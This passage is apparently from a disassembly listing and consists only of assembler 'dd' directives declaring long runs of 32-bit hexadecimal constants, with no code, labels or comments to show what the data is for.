		dd 0CD00DBF4h, 66D7AA8Fh, 0F20E9CEAh, 7886F107h, 0E16727C8h
		dd 26ECD0Ch, 1818208Fh,	38D97428h, 2C0A6338h, 206EC1E9h
		dd 0C4FF5831h, 0C44EC707h, 23A4149Bh, 95CF012Bh, 19C14E86h
		dd 0D79220DEh, 0CC071995h, 0FF58E6CAh, 542CCD40h, 17318F0h
		dd 53D4A890h, 1B808274h, 0B8E22804h, 903A1AA4h,	3C3518A6h
		dd 6919E80h, 62DE6ECEh,	524BC07Ch, 69440C47h, 0E4E0D063h
		dd 0C91FCB42h, 5104D31Ch, 805C205Eh, 0BD85043Bh, 23F1018Ah
		dd 1D623B4h, 5A1D657Eh,	88CE1883h, 657E859Fh, 23B1131Ch
		dd 1F00A19Eh, 0DE284EE4h, 59500158h, 0EDA99843h, 0BC03C0D4h
		dd 50707F3Eh, 48C2690h,	4E8995CCh, 20C062E9h, 7095D497h
		dd 0B217302h, 917818BDh, 86D12C88h, 288A9058h, 8CB9CC14h
		dd 176A4490h, 0FB149206h, 0C9D8AEh, 5ABB8DDEh, 318474C5h
		dd 0B4050171h, 884EBD20h, 0D4362C01h, 119EA852h, 641A80CAh
		dd 1E5E8867h, 0B6135492h, 903A9B1Dh, 3F00CA23h,	0BBC74C8Eh
		dd 206890EDh, 9300F20Bh, 55A52CE2h, 0C089BE6Eh,	56BF1E68h
		dd 0A6602F92h, 201F8491h, 131B077Eh, 5C23D3FDh,	21C08D08h
		dd 682027E3h, 4BF50F1Fh, 83AF26B5h, 0EDAC6BC0h,	3A26867Ah
		dd 0D7430054h, 908FF2BEh, 11201C30h, 882B1B7Dh,	24E6808Bh
		dd 0C11F920h, 0BF102603h, 23D31DD5h, 1E039148h,	8C1B7F20h
		dd 0E4209962h, 1D592026h, 57D507h, 0F25A27DFh, 0BC90969Dh
		dd 0CF831B7Bh, 77875805h, 0E3A56617h, 0F7D48C01h, 9C42D5FFh
		dd 0F630C4FEh, 4DCAC55h, 0C2056F3Bh, 2444823Ch,	1195CE30h
		dd 88D94E87h, 0D639BFBCh, 191BA201h, 0C0FECBC0h, 5F1C6392h
		dd 8041A6E8h, 0C7FD231Dh, 0A069D6D0h, 7DE56140h, 1C0F3E57h
		dd 60197130h, 99C0ED54h, 17F021A6h, 682D4866h, 1C8C5DBCh
		dd 0C0853750h, 9C8465DFh, 5A26E37Bh, 0F8004CD2h, 2C2A3C0Dh
		dd 60326418h, 14846080h, 0A5CF23D2h, 19006311h,	0A341148Ch
		dd 28009546h, 0A8784B70h, 0A8C8397Ch, 1E85128Ch, 942113h
		dd 0E6D49A31h, 9E1D063Ch, 51CCB330h, 187371ABh,	98CDB60Bh
		dd 1F58C883h, 623880CCh, 0FA0821h, 0F56A56C1h, 55C9471Dh
		dd 0E4B8BEEEh, 1BB7DB03h, 24C67ADCh, 3B8C240h, 0A12E9298h
		dd 0C31B610Fh, 257BE0C5h, 2D09086h, 0D1EA7482h,	0BCA9DDADh
		dd 6027D024h, 0B88A95CBh, 0C140913Eh, 8795D396h, 8BB15894h
		dd 4B0BF220h, 0DE90C479h, 223414D5h, 0C81D3AA7h, 64D8528Bh
		dd 1184308Ah, 2023808Eh, 91331B7Ah, 2BE7C0D8h, 34003220h
		dd 0FCD1212Dh, 5C4EC95Dh, 705073F0h, 479103E6h,	0CE72037Ch
		dd 0DCB78024h, 3A4CBB80h, 50155ED4h, 602E9C34h,	5D3759AAh
		dd 0A21C1118h, 654154E4h, 0D85A585Ch, 2AD4F074h, 94D0AEh
		dd 902618AAh, 517FD379h, 98C0B000h, 0C4CAA89Eh,	93FD0FF2h
		dd 31F8AEA4h, 8A00AF05h, 6AC2ADE2h, 1CF6ED78h, 97F7C4Eh
		dd 0B0124D5h, 0F8831ECEh, 0FD505B1Bh, 1450EEA4h, 582638C8h
		dd 382C6C1Dh, 0BCE4674h, 9EC63B3h, 28002AB5h, 9A441100h
		dd 55804224h, 9C22C46Dh, 0FA3198F2h, 41E96C60h,	0DAA0913Eh
		dd 21657A80h, 87A35Ah, 965819Bh, 300080B2h, 74042422h
		dd 0A3C05EE3h, 5452C0DCh, 3BA0C45Dh, 0A888905Ah, 130FE5E7h
		dd 86E84E43h, 6318D963h, 865621AEh, 32934090h, 84AA8C2Ch
		dd 89808711h, 9DCFCD14h, 165C448Ch, 0E4149100h,	0C9461729h
		dd 30BA48F5h, 90029F0Bh, 2A10D0B4h, 0BE2EE249h,	40F81279h
		dd 6220D370h, 5740A534h, 1D011DCAh, 1C023BCDh, 84DF840h
		dd 108FF0E1h, 419656CFh, 3BB0607Bh, 3D8C3121h, 8BD80245h
		dd 41C62031h, 0D8584BBCh, 28EA889Ah, 43582009h,	8444FEh
		dd 0C58DDD34h, 0A917331Fh, 0F169A73Fh, 8013134Bh, 0FA00046Fh
		dd 653603Ah, 0ED0072ACh, 0C6C8521Ch, 0D4A3D198h, 8EE8FCC1h
		dd 0A0D8018Ch, 8F91909h, 3C5BC0D0h, 211025E5h, 3AA004E0h
		dd 206A23F8h, 666E10BCh, 204E04A1h, 9880F394h, 9AB25E99h
		dd 25949318h, 0BB914495h, 3AC87h, 62D0B3A8h, 2EF9170Ch
		dd 746A9A2h, 0F3EF43C4h, 0E265D090h, 0A1000BB8h, 4A5697A5h
		dd 0CBCF0C10h, 54172C90h, 1A826891h, 8E40B057h,	78B223C1h
		dd 0C04F248Dh, 0F1B18E74h, 7CA749Bh, 56BB9E20h,	216C4043h
		dd 54905B66h, 2C48DC43h, 78C99B8h, 71CA8D36h, 0F9C81318h
		dd 5E87F805h, 0C41DA6EEh, 6126C48Fh, 0F251C3B7h, 0BA7D908Eh
		dd 9887CC49h, 0DDCFC1FEh, 7CE9F0F3h, 1E6523Eh, 0B01BCD63h
		dd 0CC43D3DBh, 6A9C895Ah, 5C1D2020h, 4A0440C6h,	8EA63D47h
		dd 0C09888B0h, 0A587F278h, 17E75139h, 3804FF6Bh, 6704CEFEh
		dd 5234B4D1h, 86FA047Bh, 2820CD24h, 0D2802811h,	0B94E8395h
		dd 91C3448Ch, 0E695DA1Ch, 0D894EF5Eh, 39970290h, 44D9A1D3h
		dd 88E0C454h, 0C9CA024Fh, 1134973Fh, 856781C1h,	2C40AFC7h
		dd 765C3BB2h, 7E4B13C6h
		dd 0C844CB9Eh, 0E245C1CCh, 2DAFC5E3h, 0C5180038h, 967BC028h
		dd 83A009Bh, 0BBE5DF05h, 390AA359h, 0B89F2E91h,	1B5B3D87h
		dd 1AD8E7E0h, 0DDF706E2h, 21942E50h, 0CA26FA00h, 0F44D6654h
		dd 0BAC1BD7Dh, 0A43D84Eh, 1AC41E27h, 79BC5194h,	16618BCh
		dd 3C65D6A7h, 6598A573h, 7BB810A8h, 0E7501AEBh,	849171FCh
		dd 0A0188ED9h, 0F7AC3Ch, 90C61FBAh, 551EF59h, 0B8D2A74Ch
		dd 75C6BB1h, 0A3481DAEh, 6A35B6C1h, 3C2F60E8h, 81285650h
		dd 0B4331F88h, 7DCC2AAFh, 0C8DE0032h, 377BCEE5h, 5013343h
		dd 4679A51Bh, 25F8C283h, 0C0DF4D1Eh, 23FC2E4Eh,	587B005Dh
		dd 0B0E2BD6Bh, 3C8D0D0Dh, 23E02154h, 896C3999h,	21C8CA00h
		dd 0A28F4B1Fh, 9D2F8418h, 7BE569h, 0E0F61672h, 653D3B5Bh
		dd 0C60641C3h, 3787F01Ah, 6E6A00F8h, 0BCABE501h, 0AF048DD2h
		dd 0D179FBFAh, 0E43BD892h, 44620404h, 8C2B1634h, 660C4CDCh
		dd 11B95952h, 8197602Fh, 9AA1AFF0h, 27A89600h, 9DED711Fh
		dd 4C6100BEh, 70C2A1Dh,	64E94A5Ah, 0D892D258h, 465E2896h
		dd 7FE0F8Dh, 23D821E8h,	58602BD0h, 0CDC740B8h, 7C3E6610h
		dd 6FEFE405h, 2CFCD0DFh, 0A4B93C35h, 0FCF7A0Eh,	7292BFF6h
		dd 6258E402h, 9085098h,	7F2901A1h, 9711849Dh, 194809Dh
		dd 307F81CBh, 0A1FFF802h, 85D697CEh, 24B43A9Ch,	0F9DC003Ch
		dd 0DD752AFEh, 1C63D9ABh, 87446336h, 46C0E4E9h,	657F02D3h
		dd 798B5A20h, 86A2601Ch, 11149565h, 0FB0733h, 0E8576454h
		dd 6BD8A1FEh, 0A89D88DBh, 0F98ECA11h, 0ABB73EC1h, 0A08060B3h
		dd 465E10B4h, 11392FCDh, 0B8736238h, 0C630C1F2h, 0C20A0554h
		dd 0C87D264Eh, 0FDB460h, 9C55D41Dh, 0DC1B8234h,	0F801C21Eh
		dd 8CF1BF14h, 0B021F058h, 431B2764h, 0E9036896h, 98552029h
		dd 7FE3C89Ah, 7D6CA0AFh, 673F004Fh, 8465501Fh, 0F5020A2Ah
		dd 0C0FB16B3h, 4FFEE0BFh, 0E3E6125Ch, 8A9C929Ch, 5CF158D1h
		dd 0D88D6019h, 80D10639h, 746256EFh, 4F978EA3h,	717441AFh
		dd 70695B11h, 1D889DB8h, 3A5A0B97h, 0A27518h, 54415896h
		dd 641C40D0h, 5702A3A2h, 0E82810C7h, 4BA887D2h,	238CABC3h
		dd 860182B0h, 0B5CFD014h, 8E1B000Eh, 0DF7A3A14h, 67C90108h
		dd 0A3F04CD5h, 21DC24DBh, 0DC90B6h, 51FE4146h, 424196Ch
		dd 0F0CFF628h, 28D01130h, 968252D4h, 3E0EF61Ch,	0F62C6D4h
		dd 0E5A0EFA8h, 3400DC31h, 0BA5356BBh, 0F81817E0h, 0CE488473h
		dd 0C05C8804h, 2D72B2A7h, 554ED21Eh, 0DA7498BDh, 245ECF50h
		dd 70A092h, 29CDCB47h, 2F27F2B1h, 135CB7C3h, 428A00AFh
		dd 86985A58h, 66112496h, 0CCBF077Fh, 0E1A30F74h, 0E059BD81h
		dd 0C501460Ah, 2863A2D7h, 8C733151h, 0CA37BE00h, 1C0A7A7Ch
		dd 875ADC27h, 794C3AE8h, 28CB03A5h, 3BC278C1h, 225FC8F0h
		dd 0C9D14499h, 0B1008D18h, 6389C5BEh, 12C1C35h,	0D02F4CB2h
		dd 4575CE56h, 0FF40B094h, 41DF006h, 0BE90CA9Eh,	111FDC54h
		dd 46DE056Bh, 0E250CB98h, 3AA083CEh, 0A0A25E50h, 4D23049h
		dd 54A8AC06h, 5E78B418h, 0EC139746h, 230C3A91h,	5978005Fh
		dd 63A6BA04h, 6758BB03h, 912D3A09h, 0BC2024C2h,	22F44477h
		dd 0EC192581h, 4E238895h, 0BF11D1h, 0B095D594h,	0C923705h
		dd 5524C80Dh, 2A00CD81h, 0EA55A56h, 4EAD90D8h, 231C3FDDh
		dd 397702C0h, 0B48217B2h, 1D0253F4h, 87A4D1CAh,	0AC39E730h
		dd 0B6008339h, 697A1014h, 73F97CDh, 7FBA68DCh, 792381CAh
		dd 42B3C0D4h, 5136B512h, 0F0800CDBh, 64520212h,	5241C58h
		dd 70505AFAh, 343AF825h, 9902C923h, 60CB28C1h, 0E633585Ch
		dd 3094255Eh, 0BF645C47h, 3A494560h, 0FCC44628h, 18D8CF20h
		dd 29C56051h, 3092A02Eh, 0D0B639h, 36B0CBFDh, 209B12Ch
		dd 0D654D1E9h, 0D8E7D221h, 30678C44h, 0CB172FFh, 405D57Ah
		dd 0DB7C9BE4h, 6251C404h, 2E4E1088h, 74787AA9h,	9F03C846h
		dd 2EF8272Dh, 6F7FD8E8h, 9A55FEFAh, 0E88C389Ch,	7B1D8C69h
		dd 0F86455B0h, 66E6720Bh, 711CB1A8h, 207188Eh, 19435E3Bh
		dd 0C0C33403h, 10B519Ah, 9A400CB2h, 2C83B46Ch, 9C90B964h
		dd 0C7E6394Ch, 4F1E69EAh, 0EA0E4ADDh, 85818075h, 0C1A4B26Eh
		dd 0EC3178E8h, 6CDCC9F6h, 8CCCE848h, 6C3CF702h,	71595224h
		dd 0B04A03D8h, 0D3B0C9F9h, 0B60DF46h, 0A7585970h, 31F414CFh
		dd 0C7E8DCA6h, 0EE11FE8Ch, 0B16F01AAh, 12DC3269h, 94C0AEBDh
		dd 0A21DC740h, 2F1C0772h, 34383D6Eh, 0B070A094h, 34F49759h
		dd 7AC05939h, 796B423h,	0F258DE1Bh, 1F69C54Ah, 70102EB4h
		dd 575A9B51h, 9923CC3Bh, 7EE09602h, 0C3B0401Eh,	46CD80D9h
		dd 6400B25Bh, 0F4B84356h, 7296B01Bh, 504B640h, 0D573EFD6h
		dd 0DE84A580h, 8411582Ah, 0CE148880h, 0E4B485CFh, 0A901558h
		dd 0D1AEC914h, 4C1D8084h, 9A04F9D6h, 7FEE8900h,	83FD909Bh
		dd 0CC8C0EB0h, 0CA5F7825h, 4941DCEh, 0B928C8E1h, 468704B4h
		dd 2E0BA826h, 4CF26848h, 7B4F3603h, 0EEC25E99h,	0A4D62520h
		dd 0BE91E01Dh, 3AA009Ch, 3C214B61h, 38816B60h, 0A4B2E964h
		dd 4E10F934h, 0F751D010h, 1348449Ch, 0C8648EB4h, 0B32AC5C3h
		dd 6052170Ch, 0CAB71090h, 0C6C203FCh, 4AEC22EBh, 0A8C037AAh
		dd 4BE8047Fh, 0F0094E78h, 0C05C8052h, 0C0DFD21Ch, 0C41958A9h
		dd 0D37C20C8h, 19F2DA30h, 12B50162h, 4AFE097h, 14EF32D8h
		dd 6BF01154h, 9367B100h, 87515736h, 0C129C400h,	6D27CBB6h
		dd 37CC3EA1h, 67113848h, 0DA6E08DDh, 0B32E0BA3h, 56F4C822h
		dd 0C8440467h, 1DC09960h, 58466600h, 0B1B95BE7h, 3FF8394Ch
		dd 0B2BA7060h, 9E48FAC8h, 8CCCE8FCh, 42C78A01h,	665ED050h
		dd 2E50DC2Ch, 0F8620939h, 3CE42212h, 0BAD1D099h, 0FB395D18h
		dd 3D830037h, 0A88CD298h, 3204171Bh, 14D049C6h,	8F799871h
		dd 0F7004318h, 0ABB06EEFh, 4F29B318h, 84681679h, 0D4F234h
		dd 477CD160h, 5E930DDh,	0F8841B50h, 0E00CE6FFh,	136F54Dh
		dd 0CDC4B7FAh, 41952E66h, 341DC89Ch, 5090A460h,	0EE5C5602h
		dd 54D4B6B9h, 631C04A0h, 0B8B0BDFDh, 6950015Bh,	806224CAh
		dd 0CF74244Eh, 0F8FADB44h, 18A6E9B4h, 2CE9040h,	499B59BBh
		dd 0D1BC5971h, 7202188Fh, 743201C8h, 500E3BC9h,	4E442140h
		dd 0C0BB8808h, 66CB58C3h, 9E2AD300h, 241B106Bh,	48A2029Ah
		dd 0A63D1A0Ch, 984470E7h, 37707F60h, 6754D40Ch,	247B1858h
		dd 0BEEC4203h, 0CB4D6117h, 0C06BC838h, 4EC134A6h, 0E0542812h
		dd 265EF442h, 0EEB60394h, 0CFA47105h, 0E0F09646h, 6E665F4Ch
		dd 0A0D21770h, 9123D500h, 26645F4Bh, 74ECDDAFh,	4C00BD46h
		dd 514BA58Dh, 4F0C76C1h, 0A0992E5Eh, 0B53925B1h, 0CD919017h
		dd 0D2587387h, 94685904h, 820F6F9Ah, 0A2D43857h, 71096E2Dh
		dd 18C37988h, 43AF894h,	0A15B5F87h, 88F4C11Eh, 30E069A3h
		dd 525A890Dh, 80856228h, 4C7C59EBh, 98E2642h, 0A810B8E3h
		dd 6D174CB4h, 0F734049Fh, 0C61D0556h, 2DF42087h, 63E24CA2h
		dd 0B6148732h, 2A4950F0h, 0C36D0CC7h, 0ACD1CB3Ah, 0E67A2C00h
		dd 905DB451h, 0A36C0460h, 0A864216Bh, 27C12250h, 0F0E6C01Dh
		dd 0E606CA70h, 0D9AECDDFh, 12F6F1h, 0FEC7C5C3h,	0EC84310Ch
		dd 0ED2E6573h, 0E947A0CFh, 60904448h, 247C201Dh, 70F4231Bh
		dd 207725E5h, 0A13D0900h, 222D1CF3h, 0CFB61C61h, 2273D366h
		dd 25204F70h, 6E703AF2h, 0AF2AB058h, 11620754h,	0CF7C001Bh
		dd 0F098971Dh, 349F1E24h
		dd 0C64674h, 108BBEBCh,	9ACF9Dh, 80436FF0h, 40F201CAh
		dd 5E18CD98h, 78A09762h, 0A40824FDh, 0C3467494h, 8464AE25h
		dd 8985D300h, 6D86C576h, 5C4B01A6h, 144E9E90h, 3804303Fh
		dd 0B021C744h, 0D58727C8h, 20929CEDh, 68E20CE3h, 419C230h
		dd 0DDF1B103h, 0D6B8FC80h, 0C180589Bh, 0FDF40D13h, 84C84303h
		dd 0AB25CCC4h, 78C2B9F1h, 413AD060h, 4A3836C3h,	0B11A9004h
		dd 8FDFE4FCh, 90FAE420h, 0C347DC76h, 800ABE73h,	0E37DBC0Dh
		dd 5FC079E5h, 30C80172h, 0CEA24783h, 3A3193CFh,	0A01F1CD7h
		dd 118A4A17h, 0AE063BADh, 410E6D84h, 1EF081C5h,	0ABC80398h
		dd 38D9004Dh, 0D055226Ah, 3CBE4E46h, 7460E025h,	5E2896B6h
		dd 98708C46h, 28245C3Fh, 2F30CD04h, 9F61409Eh, 38635B75h
		dd 0F384C372h, 0E2793A54h, 308FF248h, 84001A5Ch, 0CCB167EBh
		dd 0EF7352h, 75F96338h,	0F7EEC128h, 3001DF4Ah, 6C5258C2h
		dd 0C32EC03Ch, 77203C40h, 64DB784Eh, 9B521F80h,	0AC7677D4h
		dd 0D83BF9F1h, 6C263F75h, 6008B4BFh, 0B884275Dh, 8E8B0EE6h
		dd 8CE0921Fh, 4CBB1321h, 0F290E235h, 87A03369h,	0D506E6EDh
		dd 83126ECFh, 0AC3B00D1h, 0D8321829h, 6C0B872Ch, 902EA50Fh
		dd 0F34FC8h, 0B829FED0h, 0BF128A83h, 0C436C12Ch, 50CBAB02h
		dd 8907E204h, 0D4400419h, 1F658060h, 11935A23h,	87A100C5h
		dd 59279B65h, 6DBD00AEh, 0F2CDC185h, 649C985Ah,	0C95B3D0Ch
		dd 0D090B556h, 5F00F874h, 0CDCB76A3h, 0A41CC831h, 58382E88h
		dd 8EDC0766h, 4CF43EC5h, 38CCAB8h, 77F83452h, 0EEC7FDADh
		dd 1BEF9801h, 0E830285Bh, 0B008CBBh, 15EC65D3h,	9D13299h
		dd 200FE682h, 2204F879h, 0E4DB56BFh, 0E35C09C0h, 810182F1h
		dd 0FB38AFABh, 8C49962Fh, 84E5D4h, 0D369A6Ah, 86740692h
		dd 383DE200h, 0B71C6325h, 382A079h, 0D39F0278h,	12A77D5Eh
		dd 1CDE24DCh, 82A024CCh, 502C5A58h, 0A8288856h,	9D9F0220h
		dd 5AF8C083h, 140052FAh, 70195839h, 74510ED5h, 0D481472Ah
		dd 49C70FF7h, 0BBEFE094h, 4711CE6Bh, 62C344B8h,	943CF803h
		dd 441727F4h, 0E2806891h, 43564774h, 6CB9C70Bh,	941C4678h
		dd 0A91DDC44h, 24017D80h, 2309A204h, 0A8A84860h, 0A8D5AF80h
		dd 1A75FCh, 818BD9ADh, 0B68E7119h, 8F04967Dh, 0DCFC3B79h
		dd 0D2B798F8h, 78978BDEh, 77816991h, 2A56C294h,	0F0514038h
		dd 0D4918457h, 79188D71h, 7B0019E8h, 4335DEA0h,	929C104Ch
		dd 5EC4BE90h, 0BD286846h, 0F84E15F1h, 354FF42Bh, 0E46F4Ch
		dd 362AD885h, 27E05AE7h, 0C5548BBDh, 708CE116h,	6C518832h
		dd 4261802h, 0D2E0D421h, 40864540h, 0A9BE06B8h,	0C92EFC13h
		dd 0C5B19CE7h, 68A9D0B1h, 5A635C02h, 24F3C4Ah, 4089DC69h
		dd 565A60F0h, 0DED9D88Ch, 9738A81Eh, 912E0C02h,	90F3088Fh
		dd 0BC106284h, 42AAAD5Ch, 0CE1222Ch, 79E452F2h,	1EEA1F78h
		dd 0FA0CC49Ah, 1867D83Ah, 24760423h, 0B8C23219h, 8CCBBCACh
		dd 2DAD6E00h, 33D68DF2h, 0C1242881h, 0F48B54C4h, 315A6051h
		dd 38D1B6E1h, 17FC5527h, 808B91D0h, 0F8BD74CAh,	0D0875CD0h
		dd 2571E904h, 8884F8CFh, 0DBA186AEh, 394F79D2h,	69F8EC40h
		dd 0E0D0803h, 78AC0170h, 0F8847664h, 0C8AEC97Ch, 0B60300h
		dd 0DC3E45E7h, 9A46DF74h, 1C59BF1Fh, 0A4673041h, 60C68B14h
		dd 837154ACh, 6E8F2689h, 72C30420h, 57FB1EBDh, 3C823AEFh
		dd 0D311F06Ah, 1727987Ch, 978B91CCh, 580B68A3h,	0FC781266h
		dd 0BB72E2Dh, 707873C4h, 7245440h, 203FD462h, 3A065ACBh
		dd 2C02388h, 0EC053C17h, 8580ACE0h, 0BD474A80h,	6A0EF037h
		dd 924AC7B9h, 0D9B66D02h, 62580508h, 0EE6CF074h, 0F8402CEFh
		dd 27258C6Bh, 20C4CEh, 1F48A9F1h, 0F70EC09Ah, 5CE66D3Fh
		dd 7C9E79DCh, 11881769h, 6BA38062h, 488B489h, 27B72513h
		dd 0EC50EC98h, 13038C99h, 4C73B294h, 76F29AF8h,	0EB7C4040h
		dd 49DF54Eh, 98E2FF40h,	0EB308EF2h, 4C1C005Fh, 91B67CC0h
		dd 0EC121DB7h, 3CE5C3D2h, 910788FDh, 21855021h,	3222D084h
		dd 97500C58h, 58E048A6h, 0FF122A7Ch, 50F3BC72h,	7ACE4C50h
		dd 0B811C41Fh, 0E0C4F6B1h, 1D23B1C1h, 3BE476B2h, 86F91B01h
		dd 2AA63D50h, 3A9C6088h, 8B008E47h, 9DD086Bh, 0A117B6E5h
		dd 48C069D5h, 0FDA22658h, 5E705CF6h, 1A00BE46h,	97323E61h
		dd 0C161D8Ch, 64A6F4F2h, 961E2207h, 0F84263BBh,	5B3D16D8h
		dd 19683A50h, 1BEC5000h, 301AB76h, 5150046h, 5B8F1036h
		dd 0E6E07ACBh, 8814345Ah, 8CC9E8C4h, 49500400h,	1623A51h
		dd 2948190Ch, 2FDAB0C1h, 38CEC016h, 0AEC390C8h,	125D98EAh
		dd 0B2220BBFh, 24933C46h, 0F1F1990h, 0CFE03200h, 0DE67C034h
		dd 96B424AEh, 4DD1262h,	0B527844h, 7451CCh, 3398ED17h
		dd 0CF1F5BE9h, 3CC067D5h, 1CC8096Eh, 0A661D3A0h, 0C420E730h
		dd 170F6043h, 0E4C8899Bh, 0FF4FA40Ch, 16F0A897h, 180A7DA5h
		dd 21F82AC8h, 0B24E66CDh, 0A020E041h, 546E4AD4h, 0EDC33CD8h
		dd 0FB814D5h, 942729EEh, 5464C4A8h, 71CCFCA1h, 4F60B2F7h
		dd 2E4C88C1h, 9080E49Ch, 466EB9ABh, 808A0F0Ch, 0B1A0FE96h
		dd 7C14C4F2h, 580038E6h, 3FA0241Eh, 256631D9h, 2C59ECC2h
		dd 20196AD1h, 0F63066A4h, 9123E1A7h, 6FD81635h,	51A0818Ah
		dd 1542D5Bh, 21D03E58h,	0F8493B8Ch, 72D12091h, 0B9F25201h
		dd 21CD7B32h, 0B4C0D660h, 5C356BB8h, 96587580h,	95360F1h
		dd 5E99E9C3h, 867FEC52h, 87896C13h, 9D1B4600h, 55821DDh
		dd 0D5041C17h, 0B3E0FB2Bh, 0C08632Dh, 18707D0h,	0C209850Fh
		dd 0FA8B6600h, 1347F3FFh, 0BF0CB566h, 4674A4FCh, 872E0015h
		dd 49B58951h, 5E48C109h, 0AF2D95FFh, 12377D0Eh,	2EA6FC01h
		dd 0A86F90F6h, 8C1BB839h, 4CC29F0Eh, 69D86173h,	5820609Ah
		dd 0E25DC89h, 63E5951h,	0A80EA19Dh, 0E1BD8B0Ch,	0B7610C10h
		dd 0B88050F4h, 93D35825h, 1C17F44h, 0DD286A69h,	7A0D772Fh
		dd 0CC00C9A9h, 59CBB35Ch, 865EBD9Dh, 1E6BEAh, 5FBBCB65h
		dd 8D63B53h, 2FCD9D01h,	5B50E3Bh, 9BBFD731h, 96D68009h
		dd 0B63807Eh, 0E984824Ch, 237DC8D5h, 0EF33802h,	8FA7C380h
		dd 0C669EC9Ah, 0AFFD0D02h, 414F2D44h, 0B97BF71Fh, 1FB8AC0Fh
		dd 166DB58Bh, 499BFB48h, 3892CE80h, 0EB4C915Bh,	0BB660062h
		dd 8D8B6773h, 0C1819235h, 0F61F2A4h, 3F04DF88h,	29259589h
		dd 80E94E91h, 0DFC60861h, 4958F55Bh, 16C57D86h,	221BE83h
		dd 0C18B7F75h, 2FE19F4Dh, 0B97A6095h, 0D3371E58h, 0EB6F3200h
		dd 9081CE76h, 2F112052h, 46A617Bh, 0BF0FE72Bh, 0F5F50B0Ch
		dd 0C96031EDh, 4055858Dh, 1903BE12h, 907DDC38h,	0E6BE9550h
		dd 463EB0B4h, 0C8713895h, 0CA66498Ch, 0B7240F48h, 8912B1F6h
		dd 4EDAB5AAh, 0C0178803h, 1CD89F0Bh, 18654ECEh,	3033F8BDh
		dd 1AD257D3h, 6FF74C0Fh, 2EAC3FADh, 5CE82903h, 9F0FF98Fh
		dd 258C8C24h, 0B112085h, 5C08303h, 99BD33h, 53579087h
		dd 310F5250h, 5F585A1Ch, 10F1A268h, 3DAE4Eh, 0EE194587h
		dd 0EC2813ADh, 62271700h, 0B5BE6629h, 905E2FE4h, 0B927357Fh
		dd 3CF38B1Ah, 268FD3B7h, 0FCF7A366h, 0FA425BFAh, 65715640h
		dd 0BCDE50h, 0C1E53180h, 2AD3211Fh, 0C028F799h,	0DC3EFEBFh
		dd 782AC600h, 982E301Ah, 0FB8D5BADh, 3947EA40h,	7C413F4Dh
		dd 18153729h, 389D5068h, 7EED4B99h, 58AC98ADh, 9BC0B505h
		dd 9BC09D26h, 50FFD41Fh
		dd 622CC3D3h, 3320823h,	1AD197C0h, 6EFE485Eh, 7EB126CAh
		dd 2C208D1Ch, 0AF1ADFE9h, 24BD3157h, 0AD7B5C25h, 0B136AC6Dh
		dd 7C86E1FFh, 9B85C301h, 7EDDC1C5h, 84203C9Dh, 8BFC8801h
		dd 1D98F5F4h, 0DCBC5EBFh, 7962D702h, 610963ABh,	11404D7h
		dd 812EC1BCh, 7376C3E3h, 9C08E601h, 0DB0B6A67h,	88AB6A70h
		dd 8124B529h, 0BD85CA16h, 0A3190D3Bh, 58DF84FCh, 0D5105027h
		dd 0C1E9160Ah, 0C8558EFFh, 373DC01Ch, 30057222h, 0D3064D36h
		dd 0F01F004h, 11090412h, 85C70529h, 969E4810h, 4500686Fh
		dd 1F3FABB5h, 210B8C9Fh, 7F5EE9FCh, 6F40B46Fh, 5169F29h
		dd 0D517BA77h, 0F09E8071h, 0F352BF0Fh, 5E53525Dh, 0C76BBFh
		dd 9E79EA2h, 5E23992h, 0BD31C80Ah, 83E1FE81h, 0FD6F244Dh
		dd 1AC04h, 0F45F4698h, 0FEFF2381h, 0BD29CCE5h, 0A15C52Eh
		dd 0B7DB8C89h, 316482A9h, 5CE9859Dh, 0FD588E60h, 98EEF716h
		dd 21798558h, 24F66180h, 1A4004C3h, 0F3DF2140h,	5B1A58E5h
		dd 39202E90h, 64B59028h, 0C2290DF1h, 900310BBh,	0E35FB0BFh
		dd 1E504A32h, 87AA4F3h,	0A0BE1B01h, 800F2F04h, 661438FDh
		dd 32F5075Ah, 20A64512h, 0BF6198F2h, 0B0E6C317h, 85E1DBFBh
		dd 9D0025ECh, 952189D2h, 70E605B2h, 91C1BD23h, 7F71E4A3h
		dd 0F3AC23B9h, 8BAB010Ah, 0A407B468h, 0B652D6CFh, 99D3C0D8h
		dd 49BA810Dh, 0F01336D1h, 0FABB88h, 0F54D3EBh, 8B8A3FB0h
		dd 0B887D9F9h, 0E8C10929h, 819E0004h, 46794DFh,	0F7664240h
		dd 0C38EDBE2h, 0D0C8F836h, 592B568Bh, 99BC3CD8h, 0D6105F95h
		dd 0A573B360h, 505D6171h, 0B861953h, 0B862E81Fh, 0E4237F01h
		dd 715E85D7h, 4F26A064h, 7E31E950h, 36B8F38h, 9B1D6E87h
		dd 0BBEDC8ADh, 12D30029h, 6C90CBDCh, 0ECC45A4Dh, 0B6CE241Ch
		dd 78C01A88h, 166E1006h, 0FF68A150h, 0AC140590h, 5EEE1CF8h
		dd 76003ABCh, 4F90840Bh, 654EEB54h, 2C8B6C74h, 0B4C01988h
		dd 0B0E15118h, 35C2A0CFh, 0F2DF821Ch, 0CFE009Ah, 5AEFA424h
		dd 79718034h, 63E8DDB8h, 77BAD713h, 0A340848Dh,	9AE98531h
		dd 12B5B026h, 12384ED6h, 0FEBB098Ah, 0CDFD870Bh, 0F13F6011h
		dd 0DB06DDBCh, 8981F875h, 291241B2h, 258D8286h,	613C0318h
		dd 2C383F3h, 616D0987h,	8BE68FC0h, 305135BDh, 81C2006Fh
		dd 57D125EFh, 4D485B43h, 0E584F134h, 0A6A64459h, 4467E25Fh
		dd 41ED98BCh, 0B6BA5429h, 643AE0BDh, 0FAD01D2h,	0B76065F3h
		dd 458BD9C0h, 0D0A2EA5Eh, 26CB6124h, 6BFEDEBCh,	5D5F2A72h
		dd 67AD1EBEh, 8E43ED12h, 58DC47ADh, 21DDD309h, 0E5720E68h
		dd 17014E0Eh, 80379BFAh, 0A6FA1CADh, 381094B9h,	0ACBCBB59h
		dd 5760DE05h, 0A7C783E3h, 4181026Bh, 2670A27h, 0D93B61C0h
		dd 11F42061h, 16C5B533h, 0C1F11242h, 424BD9CEh,	52C01D88h
		dd 0DA0BDCh, 35DB9D57h,	0C1F6751Fh, 0AC44BDB2h,	0DBD1603h
		dd 5BA02817h, 0D5786AB3h, 0FCD90786h, 737EE54Ch, 0CEDD2B82h
		dd 0C51588EBh, 33A315F1h, 0BF95579Dh, 3D61DA80h, 4B084A34h
		dd 4FF543E4h, 88B487Dh,	60830A8Dh, 0C98B48B2h, 6FAC0931h
		dd 1044220Dh, 480D91B5h, 0E516D8FBh, 0C0B1830Bh, 14ED7F23h
